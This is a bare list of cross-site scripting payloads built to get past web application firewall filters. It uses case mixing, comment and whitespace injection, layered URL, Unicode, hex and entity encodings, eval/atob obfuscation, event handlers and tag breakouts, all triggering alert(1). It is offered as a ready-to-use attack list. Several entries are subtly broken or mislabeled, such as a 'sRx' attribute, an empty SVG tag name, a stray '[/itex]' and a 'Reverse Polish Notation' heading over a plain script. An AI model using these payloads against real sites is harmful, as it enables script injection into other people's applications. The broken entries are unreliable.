# WAF Bypass XSS Payloads
# Payloads for bypassing Web Application Firewall XSS filters

# Case Mixing
<ScRiPt>alert(1)</sCrIpT>
<ImG sRx=x oNeRrOr=alert(1)>
<SvG oNlOaD=alert(1)>
<BodY oNlOaD=alert(1)>

# Comment Injection
<script<!-- -->.alert(1)</script>
<script/**/alert(1)</script>
<script>/**/alert(1)</script>
<img src=x onerror<!-- -->="alert(1)">
<svg onload<!-- -->=alert(1)>

# Tab/Newline Injection
<script	tab>alert(1)</script>
<script
>alert(1)</script>
<img	src=x	onerror=alert(1)>
<div
onmouseover="alert(1)"
>click</div>

# URL Encoding
%3Cscript%3Ealert(1)%3C/script%3E
%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E
%3Csvg%20onload%3Dalert(1)%3E

# Double URL Encoding
%253Cscript%253Ealert(1)%253C/script%253E

# Unicode Encoding
\u003Cscript\u003Ealert(1)\u003C/script\u003E
\u003Cimg src=x onerror=alert(1)\u003E

# Hex Encoding
\x3Cscript\x3Ealert(1)\x3C/script\x3E
\x3Cimg src=x onerror=alert(1)\x3E

# HTML Entity Encoding
&lt;script&gt;alert(1)&lt;/script&gt;
&lt;img src=x onerror=alert(1)&gt;
&#60;script&#62;alert(1)&#60;/script&#62;
&#x3C;script&#x3E;alert(1)&#x3C;/script&#x3E;

# Null Byte Injection
<script>alert(1)%00</script>
<scrip%00t>alert(1)</script>

# Alternative Event Handlers
<p onclick="alert(1)">click</p>
<div onmouseover="alert(1)">hover</div>
<div onmouseenter="alert(1)">enter</div>
<div onmouseleave="alert(1)">leave</div>
<input oninput="alert(1)">
<input onfocus="alert(1)">
<button onmousedown="alert(1)">click</button>
<form onsubmit="alert(1)">

# String.fromCharCode
<script>alert(String.fromCharCode(88,83,83))</script>
<img src=x onerror=alert(String.fromCharCode(88,83,83))>
<svg onload=alert(String.fromCharCode(88,83,83))>

# HTML Entities in Attributes
<img src=x onerror=&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;>
<img src=x onerror=&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;>

# eval() with encoding
<script>eval('alert(1)')</script>
<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script>
<script>eval('\u0061\u006c\u0065\u0072\u0074(1)')</script>

# Base64 Encoding (atob)
<script>eval(atob('YWxlcnQoMSk='))</script>

# JavaScript Concatenation
<script>var x='aler';var y='t(1)';eval(x+y)</script>

# Template Literal Injection
<script>`${alert(1)}`</script>

# Reverse Polish Notation
<script>alert(1)</script>

# Mixed Encoding
<script>\u0061\u006c\u0065\u0072\u0074(1)</script>
<script>\x61\x6c\x65\x72\x74(1)</script>

# Tag Breakout
</script><script>alert(1)</script>
"</script><script>alert(1)</script>
'><script>alert(1)</script>

# CSS Expression (IE only)
<style>expression(alert(1))</style>
<div style="expression(alert(1))">

# VBScript (IE only)
<script language="vbscript">MsgBox"XSS"</script>

# SVG with Namespace
<svg xmlns="http://www.w3.org/2000/svg">< onload=alert(1)>

# MathML
<math xmlns="http://www.w3.org/1998/Math/MathML"><maction actiontype="statusline#http://example.com" onmouseover="alert(1)"></maction>[/itex]

# XSLT
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"><xsl:template match="/"><script>alert(1)</script></xsl:template></xsl:stylesheet>
